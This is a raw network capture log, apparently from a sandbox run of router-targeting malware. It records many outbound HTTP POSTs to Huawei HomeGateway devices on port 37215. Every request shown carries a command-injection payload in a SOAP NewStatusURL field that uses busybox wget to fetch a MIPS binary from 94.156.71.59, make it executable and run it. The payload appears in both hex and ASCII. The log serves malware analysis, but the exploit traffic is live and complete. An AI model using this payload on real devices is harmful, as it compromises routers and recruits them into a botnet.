Jun 10, 2024 15:38:02.691059113 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
724	192.168.2.13	55186	41.65.34.75	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.692312002 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
725	192.168.2.13	37908	197.2.17.159	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.693449020 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
726	192.168.2.13	51728	197.76.64.6	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.694480896 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
727	192.168.2.13	42650	197.231.249.66	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.695811987 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
728	192.168.2.13	56356	197.110.23.1	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.696885109 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
729	192.168.2.13	42586	41.64.38.156	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.698008060 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
730	192.168.2.13	56932	41.161.75.219	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.699989080 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
731	192.168.2.13	35468	41.229.41.14	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.701066971 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
732	192.168.2.13	44722	156.243.126.82	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.702109098 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
733	192.168.2.13	45526	156.79.220.96	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.703161001 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 